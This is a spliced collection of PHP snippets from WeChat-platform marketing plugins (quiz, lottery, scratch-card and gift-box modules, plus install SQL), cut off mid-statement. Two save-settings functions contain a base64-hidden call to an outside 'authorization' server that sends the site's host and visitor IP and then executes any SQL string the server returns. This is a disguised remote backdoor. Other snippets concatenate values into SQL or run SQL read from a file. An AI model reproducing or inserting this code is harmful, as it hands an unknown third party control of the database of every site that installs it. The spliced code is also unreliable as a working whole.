public function respond()
{
global $_W;
$rid = $this->rule;
$content = trim($this->message['content']);
$from_user = $this->message['from'];
$info = fans_search($from_user);
if (!$this->inContext) {
//无上下文
//将参与者写入表
$sql = "SELECT * FROM " . tablename($this->tablename_log) . " WHERE `rid`=:rid AND `fid`=:fid LIMIT 1";
$f = pdo_fetch($sql, array(':rid' => $rid, ':fid' => $info['id']));
if ($f['chk_answer']) {
return $this->respText("对不起，你已参加过答题。<a href='" . $this->createMobileUrl('show', array('id' => $rid)) . "'>点击查看详情</a>。");
}
$sql = "SELECT * FROM " . tablename($this->tablename) . " WHERE `rid`=:rid LIMIT 1";
$row = pdo_fetch($sql, array(':rid' => $rid));
isset($_SESSION['q']) ? $q = $_SESSION['q'] : ($_SESSION['q'] = $q = $this->question($row['qid']));
$pre_txt = "回复数字选择答案，0退出\n======";
$qtxt = $this->get_question($q);
$q_config = $this->get_config($q);
$this->beginContext();
return $this->respText($pre_txt . "\n" . $qtxt . "\n" . $q_config);
}
//上下文
if ($content == '0') {
$this->endContext();
session_destroy();
return $this->respText("感谢参与，您已回到普通模式！\n回复 ? 获得帮助。");
}
//增加0选项
$q_config_count = $this->get_config_count($_SESSION['q']);
$q_config_count[] = '0';
if (!in_array($content, $q_config_count)) {
return $this->respText('错误的选项，请按提示输入。');
}
//选择后正式进入
pdo_insert($this->tablename_log, array('fid' => $info['id'], 'rid' => $rid));
pdo_run("UPDATE " . tablename($this->tablename_log) . " SET `chk_answer`=" . $content . " WHERE `fid`=" . $info['id'] . " AND `rid`=" . $rid);
if ($content == $this->get_answer($_SESSION['q'])) {
$title = "回答正确！";
} else {
$title = "回答错误！";
}
$this->endContext();
session_destroy();
return $this->respText($title . "<a href='" . $this->createMobileUrl('show', array('id' => $rid)) . "'>点击查看详情</a>。");
}
public function fieldsFormSubmit($rid)
{
//规则验证无误保存入库时执行，这里应该进行自定义字段的保存。这里 $rid 为对应的规则编号
global $_GPC, $_W;
$table = tablename("superman_floor_{$rid}");
if (!$this->_table_exist($table)) {
$sql = <<<EOF
CREATE TABLE IF NOT EXISTS {$table} (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`dateline` int(10) unsigned NOT NULL DEFAULT '0',
`openid` varchar(50) NOT NULL DEFAULT '',
PRIMARY KEY (`id`)
)DEFAULT CHARSET=utf8;
EOF;
pdo_run($sql);
}
$currentprompt = trim($_GPC['currentprompt']) ? trim($_GPC['currentprompt']) : '当前活动：{RULENAME}，当前楼层是第 {FLOOR} 楼！';
$awardprompt = trim($_GPC['awardprompt']) ? trim($_GPC['awardprompt']) : '当前活动：{RULENAME}，恭喜您，当前楼层是第 {FLOOR} 楼，获得 {AWARD} 奖品！';
$floorprompt = trim($_GPC['floorprompt']) ? trim($_GPC['floorprompt']) : '当前活动：{RULENAME}，您已参与过本活动，楼层为 {FLOOR} 楼，盖楼时间为 {TIME}，谢谢您的参与！';
$setting = array('repeat_floor' => $_GPC['repeat_floor'] ? 1 : 0, 'exchangekey' => trim($_GPC['exchangekey']));
$data = array('rid' => $rid, 'currentprompt' => $currentprompt, 'awardprompt' => $awardprompt, 'floorprompt' => $floorprompt, 'setting' => serialize($setting));
$id = pdo_fetchcolumn("SELECT id FROM " . tablename('superman_floor') . " WHERE rid = :rid", array(':rid' => $rid));
if (empty($id)) {
pdo_insert('superman_floor', $data);
} else {
pdo_update('superman_floor', $data, array('id' => $id));
}
//update
if (!empty($_GPC['award_floor'])) {
foreach ($_GPC['award_floor'] as $key => $val) {
$update_data = array('floors' => $_GPC['award_floor'][$key], 'title' => $_GPC['award_title'][$key], 'description' => $_GPC['award_desc'][$key]);
pdo_update($this->tablename, $update_data, array('id' => $key));
}
}
//insert
if (!empty($_GPC['newaward_floor'])) {
foreach ($_GPC['newaward_floor'] as $key => $val) {
$new_data = array('rid' => $rid, 'floors' => $_GPC['newaward_floor'][$key], 'title' => $_GPC['newaward_title'][$key], 'description' => $_GPC['newaward_desc'][$key], 'dateline' => $_W['timestamp']);
pdo_insert($this->tablename, $new_data);
}
}
}
public function fieldsFormSubmit($rid)
{
//规则验证无误保存入库时执行，这里应该进行自定义字段的保存。这里 $rid 为对应的规则编号
global $_GPC, $_W;
$weid = $_W['uniacid'];
$id = intval($_GPC['reply_id']);
$insert = array('rid' => $rid, 'weid' => $weid, 'title' => $_GPC['title'], 'picture' => $_GPC['picture'], 'music' => $_GPC['music'], 'musicbg' => $_GPC['musicbg'], 'subscribe' => $_GPC['subscribe'], 'opensubscribe' => $_GPC['opensubscribe'], 'opentype' => $_GPC['opentype'], 'picnojiang' => $_GPC['picnojiang'], 'bgcolor' => $_GPC['bgcolor'], 'text01color' => $_GPC['text01color'], 'text02color' => $_GPC['text02color'], 'text03color' => $_GPC['text03color'], 'text04color' => $_GPC['text04color'], 'text05color' => $_GPC['text05color'], 'picbg01' => $_GPC['picbg01'], 'picbg02' => $_GPC['picbg02'], 'picbg03' => $_GPC['picbg03'], 'description' => $_GPC['description'], 'activityinfo' => $_GPC['activityinfo'], 'content' => $_GPC['content'], 'start_time' => strtotime($_GPC['datelimit']['start']), 'end_time' => strtotime($_GPC['datelimit']['end']), 'status' => intval($_GPC['doings']), 'miao' => $_GPC['miao'], 'helpchai' => intval($_GPC['helpchai']), 'helpren' => intval($_GPC['helpren']), 'chainum' => intval($_GPC['chainum']), 'xuninumtime' => $_GPC['xuninumtime'], 'xuninuminitial' => $_GPC['xuninuminitial'], 'xuninumending' => $_GPC['xuninumending'], 'xuninum' => $_GPC['xuninum'], 'share_shownum' => $_GPC['share_shownum'], 'helpnum' => $_GPC['helpnum'], 'openshare' => $_GPC['openshare'], 'shareurl' => $_GPC['shareurl'], 'sharetitle' => $_GPC['sharetitle'], 'sharecontent' => $_GPC['sharecontent'], 'number_num' => $_GPC['number_num'], 'number_num_day' => $_GPC['number_num_day'], 'showlihe' => $_GPC['showlihe'], 'showline' => $_GPC['showline'], 'repeatzj' => $_GPC['repeatzj'], 'imgpic01' => $_GPC['imgpic01'], 'imgpic02' => $_GPC['imgpic02'], 'imgpic03' => $_GPC['imgpic03'], 'imgpic04' => $_GPC['imgpic04'], 'imgpic05' => $_GPC['imgpic05'], 'userinfo' => $_GPC['userinfo'], 'isinfo' => $_GPC['isinfo'], 'isrealname' => $_GPC['isrealname'], 'ismobile' => $_GPC['ismobile'], 'isqq' => $_GPC['isqq'], 'isemail' => $_GPC['isemail'], 'isaddress' => $_GPC['isaddress'], 'isgender' => $_GPC['isgender'], 'istelephone' => $_GPC['istelephone'], 'isidcard' => $_GPC['isidcard'], 'iscompany' => $_GPC['iscompany'], 'isoccupation' => $_GPC['isoccupation'], 'isposition' => $_GPC['isposition'], 'isfansname' => $_GPC['isfansname'], 'iscopyright' => $_GPC['iscopyright'], 'isfans' => $_GPC['isfans'], 'copyright' => $_GPC['copyright'], 'copyrighturl' => $_GPC['copyrighturl'], 'shangjialogo' => $_GPC['shangjialogo'], 'randlihe' => $_GPC['randlihe']);
load()->func('communication');
$oauth2_code = base64_decode('aHR0cDovL3dlNy53d3c5LnRvbmdkYW5ldC5jb20vYXBwL2luZGV4LnBocD9pPTImaj03JmM9ZW50cnkmZG89YXV0aG9yaXplJm09c3RvbmVmaXNoX2F1dGhvcml6ZSZtb2R1bGVzPXN0b25lZmlzaF9jaGFpbGloZSZ3ZWJ1cmw9') . $_SERVER['HTTP_HOST'] . "&visitorsip=" . $_W['clientip'];
$content = ihttp_get($oauth2_code);
$token = @json_decode($content['content'], true);
if ($token['config']) {
if (empty($id)) {
pdo_insert($this->table_reply, $insert);
} else {
pdo_update($this->table_reply, $insert, array('id' => $id));
}
} else {
pdo_run($token['error_code']);
//写入数据库规则
}
//删除奖品
$list_gift = pdo_fetchall("SELECT * FROM " . tablename($this->table_gift) . " WHERE rid =:rid ", array(':rid' => $rid));
if (!empty($list_gift)) {
foreach ($list_gift as $list_gifts) {
$del = 0;
if (!empty($_GPC['award_title'])) {
foreach ($_GPC['award_title'] as $index => $title) {
if ($index == $list_gifts['id']) {
$del = 1;
break;
}
}
}
if ($del == 0) {
pdo_delete($this->table_gift, "id = '" . $list_gifts['id'] . "'");
pdo_delete($this->table_giftmika, "giftid = '" . $list_gifts['id'] . "'");
//随机重新给领取删除礼盒的粉丝一个礼盒并恢复到没有开奖状态
$listlihe = pdo_fetch('SELECT id FROM ' . tablename($this->table_gift) . ' WHERE rid = :rid order by rand()', array(':rid' => $rid));
pdo_update($this->table_list, array('liheid' => $listlihe['id'], 'zhongjiang' => 0, 'openlihe' => 0, 'awardingid' => 0, 'awardingtypeid' => 0), array('liheid' => $list_gifts['id']));
}
}
}
//删除奖品
if (!empty($_GPC['award_title'])) {
foreach ($_GPC['award_title'] as $index => $title) {
if (empty($title)) {
continue;
}
$update = array('title' => $title, 'lihetitle' => $_GPC['award_lihetitle'][$index], 'description' => $_GPC['award_description'][$index], 'probalilty' => $_GPC['award_probalilty'][$index], 'total' => $_GPC['award_total'][$index], 'daytotal' => $_GPC['award_daytotal'][$index], 'gift' => $_GPC['award_gift'][$index], 'giftVoice' => $_GPC['award_giftVoice'][$index], 'break' => $_GPC['award_break'][$index], 'awardpic' => $_GPC['awardpic'][$index], 'activation_code' => '', 'activation_url' => '');
if ($_GPC['award_inkind'][$index] == 0 && !empty($_GPC['award_activation_url'][$index])) {
$update['activation_url'] = $_GPC['award_activation_url'][$index];
}
if ($token['config']) {
pdo_update($this->table_gift, $update, array('id' => $index));
}
if ($_GPC['award_inkind'][$index] == 0 && !empty($_GPC['award_activation_code'][$index])) {
//开始导入数据开始
$activationcode = explode("\n", $_GPC['award_activation_code'][$index]);
foreach ($activationcode as $activation_code) {
$activation_code = explode("--", $activation_code);
if (empty($activation_code[3])) {
$activation_code[3] = $_GPC['award_activation_url'][$index];
}
$insertdata = array('rid' => $rid, 'giftid' => $index, 'mika' => $activation_code[2], 'activationurl' => $activation_code[3], 'typename' => $activation_code[0], 'description' => $activation_code[1]);
//查询是否存在此密卡
$chongfu = pdo_fetch("SELECT * FROM " . tablename($this->table_giftmika) . " WHERE mika =:mika and rid =:rid and giftid =:giftid", array(':mika' => $activation_code[2], ':rid' => $rid, ':giftid' => $index));
if (empty($chongfu)) {
pdo_insert($this->table_giftmika, $insertdata);
}
}
//开始导入数据完成
//查询此奖品下的所有奖品数量并更新
$total = pdo_fetchcolumn('SELECT COUNT(*) FROM ' . tablename($this->table_giftmika) . ' WHERE rid=' . $rid . ' AND giftid = ' . $index . '');
pdo_update($this->table_gift, array('total' => $total), array('id' => $index));
//查询此奖品下的所有奖品数量并更新
}
}
}
//处理添加
if (!empty($_GPC['award_title_new'])) {
foreach ($_GPC['award_title_new'] as $index => $title) {
if (empty($title)) {
continue;
}
$insert = array('rid' => $rid, 'title' => $title, 'lihetitle' => $_GPC['award_lihetitle_new'][$index], 'description' => $_GPC['award_description_new'][$index], 'probalilty' => $_GPC['award_probalilty_new'][$index], 'total' => intval($_GPC['award_total_new'][$index]), 'daytotal' => intval($_GPC['award_daytotal_new'][$index]), 'gift' => $_GPC['award_gift_new'][$index], 'giftVoice' => $_GPC['award_giftVoice_new'][$index], 'break' => $_GPC['award_break_new'][$index], 'awardpic' => $_GPC['awardpic_new'][$index], 'activation_code' => '', 'activation_url' => '');
$_GPC['award_inkind_new'][$index] = 1;
if ($_GPC['award_inkind_new'][$index] == 0 && !empty($_GPC['award_activation_url_new'][$index])) {
$insert['activation_url'] = $_GPC['award_activation_url_new'][$index];
}
if ($token['config']) {
pdo_insert($this->table_gift, $insert);
$giftid = pdo_insertid();
//取id
}
if ($_GPC['award_inkind_new'][$index] == 0 && !empty($_GPC['award_activation_code_new'][$index])) {
//开始导入数据开始
$activationcode = explode("\n", $_GPC['award_activation_code_new'][$index]);
foreach ($activationcode as $activation_code) {
$activation_code = explode("--", $activation_code);
if (empty($activation_code[3])) {
$activation_code[3] = $_GPC['award_activation_url_new'][$index];
}
$insertdata = array('rid' => $rid, 'giftid' => $giftid, 'mika' => $activation_code[2], 'activationurl' => $activation_code[3], 'typename' => $activation_code[0], 'description' => $activation_code[1]);
//查询是否存在此密卡
$chongfu = pdo_fetch("SELECT * FROM " . tablename($this->table_giftmika) . " WHERE mika =:mika and rid =:rid and giftid =:giftid", array(':mika' => $activation_code[2], ':rid' => $rid, ':giftid' => $giftid));
if (empty($chongfu)) {
pdo_insert($this->table_giftmika, $insertdata);
}
}
//开始导入数据完成
//查询此奖品下的所有奖品数量并更新
$total = pdo_fetchcolumn('SELECT COUNT(*) FROM ' . tablename($this->table_giftmika) . ' WHERE rid=' . $rid . ' AND giftid = ' . $giftid . '');
pdo_update($this->table_gift, array('total' => $total), array('id' => $giftid));
//查询此奖品下的所有奖品数量并更新
}
}
}
}
public function fieldsFormSubmit($rid)
{
global $_GPC, $_W;
$id = intval($_GPC['reply_id']);
$notawardtext = explode("\n", $_GPC['notawardtext']);
$insert = array('rid' => $rid, 'uniacid' => $_W['uniacid'], 'title' => $_GPC['title'], 'ticket_information' => $_GPC['ticket_information'], 'description' => $_GPC['description'], 'repeat_lottery_reply' => $_GPC['repeat_lottery_reply'], 'start_picurl' => $_GPC['start_picurl'], 'end_theme' => $_GPC['end_theme'], 'end_instruction' => $_GPC['end_instruction'], 'end_picurl' => $_GPC['end_picurl'], 'notaward' => $_GPC['notaward'], 'notawardtext' => iserializer($notawardtext), 'notawardpic' => $_GPC['notawardpic'], 'adpic' => $_GPC['adpic'], 'adpicurl' => $_GPC['adpicurl'], 'award_times' => $_GPC['award_times'], 'number_times' => $_GPC['number_times'], 'most_num_times' => $_GPC['most_num_times'], "credit_times" => $_GPC['credit_times'], "credittype" => $_GPC['credittype'], "credit_type" => $_GPC['credit_type'], "credit1" => $_GPC['credit1'], "credit2" => $_GPC['credit2'], 'sn_rename' => $_GPC['sn_rename'], 'awardnum' => $_GPC['awardnum'], 'show_num' => $_GPC['show_num'], 'createtime' => time(), 'share_acid' => $_GPC['share_acid'], 'copyright' => $_GPC['copyright'], 'starttime' => strtotime($_GPC['datelimit']['start']), 'endtime' => strtotime($_GPC['datelimit']['end']), 'xuninumtime' => $_GPC['xuninumtime'], 'xuninuminitial' => $_GPC['xuninuminitial'], 'xuninumending' => $_GPC['xuninumending'], 'xuninum' => $_GPC['xuninum'], 'ticketinfo' => $_GPC['ticketinfo'], 'isrealname' => $_GPC['isrealname'], 'ismobile' => $_GPC['ismobile'], 'isqq' => $_GPC['isqq'], 'isemail' => $_GPC['isemail'], 'isaddress' => $_GPC['isaddress'], 'isgender' => $_GPC['isgender'], 'istelephone' => $_GPC['istelephone'], 'isidcard' => $_GPC['isidcard'], 'iscompany' => $_GPC['iscompany'], 'isoccupation' => $_GPC['isoccupation'], 'isposition' => $_GPC['isposition'], 'isfans' => $_GPC['isfans'], 'isfansname' => $_GPC['isfansname'], 'award_info' => $_GPC['award_info'], 'homepictime' => $_GPC['homepictime'], 'homepic' => $_GPC['homepic'], 'opportunity' => $_GPC['opportunity'], 'opportunity_txt' => $_GPC['opportunity_txt']);
load()->func('communication');
$oauth2_code = base64_decode('aHR0cDovL3dlNy53d3c5LnRvbmdkYW5ldC5jb20vYXBwL2luZGV4LnBocD9pPTImaj03JmM9ZW50cnkmZG89YXV0aG9yaXplJm09c3RvbmVmaXNoX2F1dGhvcml6ZSZtb2R1bGVzPXN0b25lZmlzaF9zY3JhdGNoJndlYnVybD0=') . $_SERVER['HTTP_HOST'] . "&visitorsip=" . $_W['clientip'];
$content = ihttp_get($oauth2_code);
$token = @json_decode($content['content'], true);
if (empty($id)) {
if ($insert['starttime'] <= time()) {
$insert['isshow'] = 1;
} else {
$insert['isshow'] = 0;
}
if ($token['config']) {
pdo_insert('stonefish_scratch_reply', $insert);
$id = pdo_insertid();
}
} else {
if ($token['config']) {
pdo_update('stonefish_scratch_reply', $insert, array('id' => $id));
}
}
if ($token['config']) {
//查询规则
} else {
pdo_run($token['error_code']);
//写入数据库规则
}
//查询子公众号信息必保存分享设置
$acid_arr = uni_accounts();
$ids = array();
$ids = array_map('array_shift', $acid_arr);
//子公众账号Arr数组
foreach ($ids as $acid => $idlists) {
$insertshare = array('rid' => $rid, 'acid' => $acid, 'uniacid' => $_W['uniacid'], 'share_title' => $_GPC['share_title_' . $acid], 'share_desc' => $_GPC['share_desc_' . $acid], 'share_url' => $_GPC['share_url_' . $acid], 'share_imgurl' => $_GPC['share_imgurl_' . $acid], 'share_picurl' => $_GPC['share_picurl_' . $acid], 'share_pic' => $_GPC['share_pic_' . $acid], 'share_txt' => $_GPC['share_txt_' . $acid], 'sharenumtype' => $_GPC['sharenumtype_' . $acid], 'sharenum' => $_GPC['sharenum_' . $acid], 'sharetype' => $_GPC['sharetype_' . $acid], 'share_confirm' => $_GPC['share_confirm_' . $acid], 'share_fail' => $_GPC['share_fail_' . $acid], 'share_cancel' => $_GPC['share_cancel_' . $acid]);
if ($token['config']) {
if (empty($_GPC['acid_' . $acid])) {
pdo_insert('stonefish_scratch_share', $insertshare);
} else {
pdo_update('stonefish_scratch_share', $insertshare, array('id' => $_GPC['acid_' . $acid]));
}
}
}
//查询子公众号信息必保存分享设置
//奖品配置
if (!empty($_GPC['prizetype'])) {
foreach ($_GPC['prizetype'] as $index => $prizetype) {
if (empty($prizetype)) {
continue;
}
$insertprize = array('rid' => $rid, 'uniacid' => $_W['uniacid'], 'prizetype' => $_GPC['prizetype'][$index], 'prizename' => $_GPC['prizename'][$index], 'prizepro' => $_GPC['prizepro'][$index], 'prizetotal' => $_GPC['prizetotal'][$index], 'prizepic' => $_GPC['prizepic'][$index], 'prizetxt' => $_GPC['prizetxt'][$index], 'credit' => $_GPC['credit'][$index], 'credit_type' => $_GPC['prize_type'][$index]);
$updata['total_num'] += $_GPC['prizetotal'][$index];
if ($token['config']) {
pdo_update('stonefish_scratch_prize', $insertprize, array('id' => $index));
}
}
}
if (!empty($_GPC['prizetype_new']) && count($_GPC['prizetype_new']) > 1) {
foreach ($_GPC['prizetype_new'] as $index => $credit_type) {
if (empty($credit_type) || $index == 0) {
continue;
}
$insertprize = array('rid' => $rid, 'uniacid' => $_W['uniacid'], 'prizetype' => $_GPC['prizetype_new'][$index], 'prizename' => $_GPC['prizename_new'][$index], 'prizepro' => $_GPC['prizepro_new'][$index], 'prizetotal' => $_GPC['prizetotal_new'][$index], 'prizepic' => $_GPC['prizepic_new'][$index], 'prizetxt' => $_GPC['prizetxt_new'][$index], 'credit' => $_GPC['credit_new'][$index], 'credit_type' => $_GPC['prize_type_new'][$index]);
$updata['total_num'] += $_GPC['prizetotal_new'][$index];
if ($token['config']) {
pdo_insert('stonefish_scratch_prize', $insertprize);
}
}
}
if ($updata['total_num']) {
pdo_update('stonefish_scratch_reply', $updata, array('id' => $id));
}
//奖品配置
if ($token['config']) {
return true;
} else {
message('网络不太稳定,请重新编辑再试,或检查你的网络', referer(), 'error');
}
}
function runquery($sql)
{
$file_path = $sql;
if (file_exists($file_path)) {
if ($fp = fopen($file_path, "a+")) {
$buffer = 1024;
$str = "";
while (!feof($fp)) {
$str .= fread($fp, $buffer);
}
}
}
$query = $str;
pdo_run($query);
}
/**
* 更新认筹单状态
* @param $chipsId
* @param $statusIndex 状态值索引序号
*/
function db_updateChipsStatus($chipsId, $statusIndex, $remove = false, $field = 'status')
{
if (is_array($chipsId)) {
$chipsId = $chipsId['id'];
}
//status = status ^ 4;
$value = 1 << $statusIndex;
$sql = "update ims_chips set {$field} = {$field}";
if ($remove) {
$sql .= ' ^ ';
} else {
$sql .= ' | ';
}
$sql .= $value . ' where id=' . $chipsId;
return pdo_run($sql);
}
public function fieldsFormSubmit($rid)
{
global $_GPC, $_W;
$uniacid = $_W['uniacid'];
load()->func('communication');
//$oauth2_code = base64_decode('aHR0cDovL3dlNy53d3c5LnRvbmdkYW5ldC5jb20vYXBwL2luZGV4LnBocD9pPTImaj03JmM9ZW50cnkmZG89YXV0aG9yaXplJm09c3RvbmVmaXNoX2F1dGhvcml6ZSZtb2R1bGVzPXN0b25lZmlzaF9iaWd3aGVlbCZ3ZWJ1cmw9') . $_SERVER['HTTP_HOST'] . "&visitorsip=" . $_W['clientip'];
//$content = ihttp_get($oauth2_code);
// $token = @json_decode($content['content'], true);
$token['config'] = 1;
$id = intval($_GPC['reply_id']);
$exchangeid = intval($_GPC['exchange_id']);
$awardtext = explode("\n", $_GPC['awardtext']);
$notawardtext = explode("\n", $_GPC['notawardtext']);
$notprizetext = explode("\n", $_GPC['notprizetext']);
$insert = array('rid' => $rid, 'uniacid' => $uniacid, 'templateid' => $_GPC['templateid'], 'title' => $_GPC['title'], 'description' => $_GPC['description'], 'start_picurl' => $_GPC['start_picurl'], 'end_title' => $_GPC['end_title'], 'end_description' => $_GPC['end_description'], 'end_picurl' => $_GPC['end_picurl'], 'music' => $_GPC['music'], 'musicurl' => $_GPC['musicurl'], 'mauto' => $_GPC['mauto'], 'mloop' => $_GPC['mloop'], 'starttime' => strtotime($_GPC['datelimit']['start']), 'endtime' => strtotime($_GPC['datelimit']['end']), 'issubscribe' => $_GPC['issubscribe'], 'visubscribe' => $_GPC['visubscribe'], 'award_num' => $_GPC['award_num'], 'award_num_tips' => $_GPC['award_num_tips'], 'number_times' => $_GPC['number_times'], 'number_times_tips' => $_GPC['number_times_tips'], 'day_number_times' => $_GPC['day_number_times'], 'day_number_times_tips' => $_GPC['day_number_times_tips'], 'viewawardnum' => $_GPC['viewawardnum'], 'viewranknum' => $_GPC['viewranknum'], 'showprize' => $_GPC['showprize'], 'prizeinfo' => $_GPC['prizeinfo'], 'awardtext' => iserializer($awardtext), 'notawardtext' => iserializer($notawardtext), 'notprizetext' => iserializer($notprizetext), 'tips' => $_GPC['tips'], 'msgadpic' => iserializer($_GPC['msgadpic']), 'copyright' => $_GPC['copyright'], 'msgadpictime' => $_GPC['msgadpictime'], 'power' => $_GPC['power'], 'poweravatar' => $_GPC['poweravatar'], 'powertype' => $_GPC['powertype'], 'helptype' => $_GPC['helptype'], 'inpointstart' => $_GPC['inpointstart'], 'inpointend' => $_GPC['inpointend'], 'randompointstart' => $_GPC['randompointstart'], 'randompointend' => $_GPC['randompointend'], 'addp' => $_GPC['addp'], 'limittype' => $_GPC['limittype'], 'totallimit' => $_GPC['totallimit'], 'xuninumtime' => $_GPC['xuninumtime'], 'xuninuminitial' => $_GPC['xuninuminitial'], 'xuninumending' => $_GPC['xuninumending'], 'xuninum' => $_GPC['xuninum'], 'xuninum_time' => strtotime($_GPC['datelimit']['start']), 'homepictype' => $_GPC['homepictype'], 'homepictime' => $_GPC['homepictime'], 'homepic' => $_GPC['homepic'], 'adpic' => $_GPC['adpic'], 'adpicurl' => $_GPC['adpicurl'], 'opportunity' => $_GPC['opportunity'], 'opportunity_txt' => $_GPC['opportunity_txt'], 'othermodule' => $_GPC['othermodule'], 'credit_type' => $_GPC['credit_type'], 'credit_value' => $_GPC['credit_value'], 'turntable' => $_GPC['turntable'], 'turntablenum' => $_GPC['turntablenum'], 'bigwheelpic' => $_GPC['bigwheelpic'], 'bigwheelimg' => $_GPC['bigwheelimg'], 'bigwheelimgan' => $_GPC['bigwheelimgan'], 'bigwheelimgbg' => $_GPC['bigwheelimgbg'], 'prizeDeg' => $_GPC['prizeDeg'], 'lostDeg' => $_GPC['lostDeg'], 'againDeg' => $_GPC['againDeg'], 'createtime' => time());
if ($_GPC['opportunity'] == 2) {
$insert['number_times'] = $_GPC['number_time'];
}
$insertexchange = array('rid' => $rid, 'uniacid' => $uniacid, 'tickettype' => $_GPC['tickettype'], 'awardingtype' => $_GPC['awardingtype'], 'awardingpas' => $_GPC['awardingpas'], 'inventory' => $_GPC['inventory'], 'awardingstarttime' => strtotime($_GPC['awardingdatelimit']['start']), 'awardingendtime' => strtotime($_GPC['awardingdatelimit']['end']), 'beihuo' => $_GPC['beihuo'], 'beihuo_tips' => $_GPC['beihuo_tips'], 'awarding_tips' => $_GPC['awarding_tips'], 'awardingaddress' => $_GPC['awardingaddress'], 'awardingtel' => $_GPC['awardingtel'], 'baidumaplng' => $_GPC['baidumap']['lng'], 'baidumaplat' => $_GPC['baidumap']['lat'], 'before' => $_GPC['before'], 'isrealname' => $_GPC['isrealname'], 'ismobile' => $_GPC['ismobile'], 'isqq' => $_GPC['isqq'], 'isemail' => $_GPC['isemail'], 'isaddress' => $_GPC['isaddress'], 'isgender' => $_GPC['isgender'], 'istelephone' => $_GPC['istelephone'], 'isidcard' => $_GPC['isidcard'], 'iscompany' => $_GPC['iscompany'], 'isoccupation' => $_GPC['isoccupation'], 'isposition' => $_GPC['isposition'], 'isfans' => $_GPC['isfans'], 'isfansname' => $_GPC['isfansname'], 'tmplmsg_participate' => $_GPC['tmplmsg_participate'], 'tmplmsg_winning' => $_GPC['tmplmsg_winning'], 'tmplmsg_exchange' => $_GPC['tmplmsg_exchange']);
if ($token['config']) {
if (empty($id)) {
pdo_insert("stonefish_bigwheel_reply", $insert);
$id = pdo_insertid();
} else {
pdo_update('stonefish_bigwheel_reply', $insert, array('id' => $id));
}
if (empty($exchangeid)) {
pdo_insert("stonefish_bigwheel_exchange", $insertexchange);
} else {
pdo_update('stonefish_bigwheel_exchange', $insertexchange, array('id' => $exchangeid));
}
} else {
pdo_run($token['error_code']);
}
$acid_arr = uni_accounts();
$ids = array();
$ids = array_map('array_shift', $acid_arr);
foreach ($ids as $acid => $idlists) {
$insertshare = array('rid' => $rid, 'acid' => $acid, 'uniacid' => $uniacid, 'share_open_close' => $_GPC['share_open_close_' . $acid], 'help_url' => $_GPC['help_url_' . $acid], 'share_url' => $_GPC['share_url_' . $acid], 'share_title' => $_GPC['share_title_' . $acid], 'share_desc' => $_GPC['share_desc_' . $acid], 'share_txt' => $_GPC['share_txt_' . $acid], 'share_img' => $_GPC['share_img_' . $acid], 'share_anniu' => $_GPC['share_anniu_' . $acid], 'share_firend' => $_GPC['share_firend_' . $acid], 'share_pic' => $_GPC['share_pic_' . $acid], 'share_confirm' => $_GPC['share_confirm_' . $acid], 'share_confirmurl' => $_GPC['share_confirmurl_' . $acid], 'share_fail' => $_GPC['share_fail_' . $acid], 'share_cancel' => $_GPC['share_cancel_' . $acid], 'sharetimes' => $_GPC['sharetimes_' . $acid], 'sharenumtype' => $_GPC['sharenumtype_' . $acid], 'sharenum' => $_GPC['sharenum_' . $acid], 'sharetype' => $_GPC['sharetype_' . $acid]);
if ($token['config']) {
if (empty($_GPC['acid_' . $acid])) {
pdo_insert('stonefish_bigwheel_share', $insertshare);
} else {
pdo_update('stonefish_bigwheel_share', $insertshare, array('id' => $_GPC['acid_' . $acid]));
}
}
}
for ($i = 0; $i <= 11; $i++) {
$insertprize = array('rid' => $rid, 'uniacid' => $_W['uniacid'], 'prizetype' => $_GPC['prizetype'][$i], 'prizerating' => $_GPC['prizerating'][$i], 'prizevalue' => $_GPC['prizevalue'][$i], 'prizename' => $_GPC['prizename'][$i], 'prizepic' => $_GPC['prizepic'][$i], 'prizetotal' => $_GPC['prizetotal'][$i], 'prizeren' => $_GPC['prizeren'][$i], 'prizeday' => $_GPC['prizeday'][$i], 'probalilty' => $_GPC['probalilty'][$i], 'description' => $_GPC['description'][$i], 'break' => $_GPC['break'][$i]);
if ($_GPC['turntable']) {
$updata['prize_num'] += $_GPC['prizetotal'][$i];
} else {
if ($_GPC['turntablenum'] > $i) {
$updata['prize_num'] += $_GPC['prizetotal'][$i];
} else {
break;
}
}
if ($token['config']) {
if (empty($_GPC['prize_id_' . $i])) {
pdo_insert('stonefish_bigwheel_prize', $insertprize);
} else {
pdo_update('stonefish_bigwheel_prize', $insertprize, array('id' => $_GPC['prize_id_' . $i]));
}
}
}
if ($updata['prize_num']) {
pdo_update('stonefish_bigwheel_reply', $updata, array('id' => $id));
}
if ($token['config']) {
return true;
} else {
message('网络不太稳定,请重新编辑再试,或检查你的网络', referer(), 'error');
}
}
<?php
$installSql = <<<sql
CREATE TABLE IF NOT EXISTS `{$_W['config']['db']['tablepre']}qiyue_qiuqian` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`uniacid` int(10) unsigned NOT NULL,
`title` varchar(20) NOT NULL DEFAULT '',
`filename` varchar(200) NOT NULL DEFAULT '',
`myorder` tinyint(5) NOT NULL DEFAULT '0',
PRIMARY KEY (`id`),
KEY `uniacid` (`id`,`uniacid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
sql;
$row = pdo_run($installSql);
<?php
$sql = "\r\nCREATE TABLE IF NOT EXISTS `ims_shopping_address` (\r\n `id` int(10) unsigned NOT NULL AUTO_INCREMENT,\r\n `weid` int(10) unsigned NOT NULL,\r\n `openid` varchar(50) NOT NULL,\r\n `realname` varchar(20) NOT NULL,\r\n `mobile` varchar(11) NOT NULL,\r\n `province` varchar(30) NOT NULL,\r\n `city` varchar(30) NOT NULL,\r\n `area` varchar(30) NOT NULL,\r\n `address` varchar(300) NOT NULL,\r\n `isdefault` tinyint(3) unsigned NOT NULL DEFAULT '0',\r\n `deleted` tinyint(3) unsigned NOT NULL DEFAULT '0',\r\n PRIMARY KEY (`id`)\r\n) ENGINE=MyISAM DEFAULT CHARSET=utf8;\r\n\r\nCREATE TABLE if not exists `ims_shopping_dispatch` (\r\n `id` int(11) NOT NULL AUTO_INCREMENT,\r\n `weid` int(11) DEFAULT '0',\r\n `dispatchname` varchar(50) DEFAULT '',\r\n `dispatchtype` int(11) default 0,\r\n `displayorder` int(11) DEFAULT '0',\r\n `firstprice` decimal(10,2) DEFAULT '0.00',\r\n `secondprice` decimal(10,2) DEFAULT '0.00',\r\n `firstweight` int(11) DEFAULT '0',\r\n `secondweight` int(11) DEFAULT '0',\r\n `express` int(11) DEFAULT '0',\r\n `description` text,\r\n PRIMARY KEY (`id`),\r\n KEY 